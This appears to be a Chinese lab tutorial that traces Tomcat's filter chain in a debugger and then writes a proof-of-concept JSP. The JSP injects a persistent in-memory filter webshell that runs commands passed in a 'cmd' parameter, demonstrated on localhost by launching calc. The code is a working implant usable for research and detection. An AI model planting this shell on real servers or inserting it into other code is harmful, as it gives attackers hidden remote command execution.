0x00 实验环境

  1. jdk1.8
  2. tomcat8.5.100

步骤

  1. 使用Intellij IDEA新建maven项目,选择maven-archetype-webapp
  2. 修改pom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?xml version="1.0" encoding="UTF-8"?>
 
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
 
  <groupId>com.milon</groupId>
  <artifactId>MemoryTrojan</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>war</packaging>
 
  <name>MemoryTrojan Maven Webapp</name>
 
  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.8</maven.compiler.source>
    <maven.compiler.target>1.8</maven.compiler.target>
  </properties>
 
  <dependencies>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>4.0.1</version>
      <scope>compile</scope>
    </dependency>
    <dependency>
      <groupId>javax.servlet.jsp</groupId>
      <artifactId>jsp-api</artifactId>
      <version>2.1</version>
      <scope>provided</scope>
    </dependency>
 
    <!--引入tomcat是为了调试源码-->
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>8.5.100</version>
      <scope>provided</scope>
    </dependency>
 
  </dependencies>
 
 
  <build>
    <finalName>MemoryTrojan</finalName>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-war-plugin</artifactId>
          <version>3.2.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
      </plugins>
    </pluginManagement>
  </build>
</project>
  1. 新建一个servlet
1
2
3
4
5
6
7
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        resp.getWriter().write("HelloServlet doGet...");
    }
}
  1. 新建Listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@WebFilter(urlPatterns = "/hello")
public class HelloFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) {
        System.out.println("HelloFilter init");
    }
 
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        System.out.println("HelloFilter doFilter");
        chain.doFilter(request, response);
    }
 
    @Override
    public void destroy() {
        System.out.println("HelloFilter destory");
    }
}
  1. 配置tomcat启动

完成上述步骤,即可以debug模式启动项目。

0x01 分析调用链

将断点打至doFilter方法

观察调用堆栈,doFilter方式是由ApplicationFilterChain的internalDoFilter方法调用的:

按ctrl点filter变量跳转到它的定义:

可见其是由filterConfig得到的,filterConfig是从数组filters中获取的一个元素,于是可以得到一个结论:在filters数组中放置一个filterConfig对象即可调用到其对应的doFilter方法。
现在反推第一个问题:filters数组从哪里赋值?
按ctrl点filters,寻找其赋值操作:

倒数第三个动作是给数组元素赋值,点击进去,然后在这里下个断点,重启tomcat,在浏览器中访问http://localhost:8080/MemoryTrojan/hello触发HelloFilter的执行,断点停在这里,filters数组元素被赋值为一个filterConfig变量,而filterConfig是由addFilter方法的参数传入的:

点击上一层栈帧,跟踪filterConfig从何而来:

是由一个StandardContext对象调用findFilterConfig方法获取的,而这个方法传入了一个String类型的name,该name是由filterMap获得的。
可以看看filterMap都包含了哪些信息:

主要就两点信息,一是urlPatterns,咱们在代码注解中配置的"/hello",另外一个是filterName,默认取全类名。
接下来反推第二个问题:filterMap从何而来?
继续按ctrl点击filterMap跳转至定义:

可见filterMap是数组filterMaps的一个元素:

filterMaps是StandardContext类型对象调用findFilterMaps方法获取的,

findFilterMaps方法又使用了一个StandardContext对象的私有属性也叫filterMaps:

于是接下来,继续寻找这个filterMaps在哪里有赋值动作:

第一个动作就是,点进去下个断点,重启tomcat,代码停留在断点处:

这里可以得到第二个结论:tomcat调用了StandardContext对象的addFilterMap方法添加了filterMap。
分析完filterMap后,我们再回到此处,分析StandardContext对象的findFilterConfig方法:

点击进去发现用到了一个filterConfigs,

跳转到其定义发现是一个HashMap

按ctrl寻找给该map put值的地方,在此下个断点,重启tomcat,代码停留在断点处:

这里new了一个ApplicationFilterConfig对象,而这个对象构造方法的第二个参数是一个FilterDef类型的对象,FilterDef主要包含的信息有:filterClass,也就是过滤器类,以及filterName。
至此可以得到第三个结论:构造一个ApplicationFilterConfig类型的对象filterConfig,并传入一个包含过滤器类型的filterDef,再将filterConfig放入HashMap类型的对象filterConfigs中,tomcat即可获取到该filterConfig。

0x02 POC编写

先梳理一下上面的分析过程:

  1. 构造一个FilterDef,并作为参数再构造一个filterConfig;
  2. 将filterConfig放入HashMap类型对象filterConfigs中;
  3. 构造一个filterMap,添加到StandardContext中。

依据这条路线来编写poc,在webapp目录下新建poc.jsp。

定义一个有RCE的Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<%!
    public class ShellFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
 
        }
 
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
            chain.doFilter(request, response);
        }
 
        @Override
        public void destroy() {
 
        }
    }
%>

注入该filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%
    /* 通过反射获取到StandardContext对象 */
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
 
    final String filterName = "shellFilter";
 
    /* 定义filterDef */
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(new ShellFilter());
    filterDef.setFilterName(filterName);
    filterDef.setFilterClass(ShellFilter.class.getName());
    standardContext.addFilterDef(filterDef);
 
    /* 利用反射构造filterConfig,同时传入filterDef */
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
 
    /* 通过反射获取filterConfigs,并放置filterConfig */
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put(filterName, filterConfig);
 
    /* 定义filterMap,并添加到standardContext中 */
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(filterName);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMap(filterMap);
%>

接下来访问http://localhost:8080/MemoryTrojan/poc.jsp,此时filter已经被注入到tomcat中,
然后访问http://localhost:8080/MemoryTrojan/?cmd=calc,即可执行系统命令弹出计算器:

参考

Java安全学习——内存马